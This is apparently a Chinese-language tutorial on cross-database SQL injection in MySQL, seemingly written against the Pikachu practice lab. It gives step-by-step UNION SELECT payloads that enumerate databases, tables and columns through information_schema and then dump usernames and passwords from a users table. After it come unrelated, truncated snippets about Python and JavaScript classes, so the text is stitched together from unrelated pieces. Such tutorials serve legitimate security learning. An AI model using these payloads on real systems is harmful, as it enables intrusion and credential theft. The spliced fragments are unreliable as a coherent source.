如果要應用跨庫注入,有乙個條件,那就是當前資料庫使用者必須為root使用者,才可以對整個資料庫進行操作
確定使用者:
user()確定使用者
如果回顯為root@localhost或者[email protected]只要@號前面為root,則代表該資料庫使用者為root
跨庫注入過程:
第一步:
獲取當前所有的資料庫:
存有所有資料庫的表名為:
information_schema.schemata儲存所有資料庫
schema_name資料庫名
獲取當前所有資料庫:
union select 1,group_concat(schema_name),3 from information_schema.schemata
第二步:
獲取你要注入的資料庫的表名稱:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=『pikachu』
第三步:
獲取你要注入的資料庫的列名稱:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=『users』 and table_schema=『pikachu』
第四步:
獲取你要注入的資料庫的資料:
union select 1,group_concat(username),group_concat(password) from pikachu.users
跨庫注入和普通注入的區別在**?
跨庫注入首先要獲取所有資料庫名稱
在查詢表名,列名時,必須限定你要注入的資料庫名稱
物件導向程式設計(class) 2
繼承是物件的特性之一 子類會覆蓋父類的相同方法,如何使用父類相同的方法 classp def init self,name self.name name class c p def init self,name,age self.age age 呼叫父類相同的方法 super init name 單...
物件導向程式設計 類 class 2
公共成員 可以在類的外部訪問到。我們之前接觸到的都是公共成員 私有成員 只能在該類的內部才能直接訪問到的 子類也不能直接訪問 在外部,可以通過間接方法才能取得。以欄位 普通欄位和靜態字段相同 為例,開頭加 雙下劃線 使欄位變為私有字段 方法也一樣,方法名前面加 雙下劃線 即可。class db de...
js ES6學習筆記 Class(2)
1 與函式一樣,類也可以使用表示式的形式定義。const myclass class me 這個類的名字是myclass而不是me,me只在class的內部 可用,指代當前類。如果類的內部沒用到的話,可以省略me,也就是可以寫成下面的形式。2 採用class表示式,可以寫出立即執行的class。le...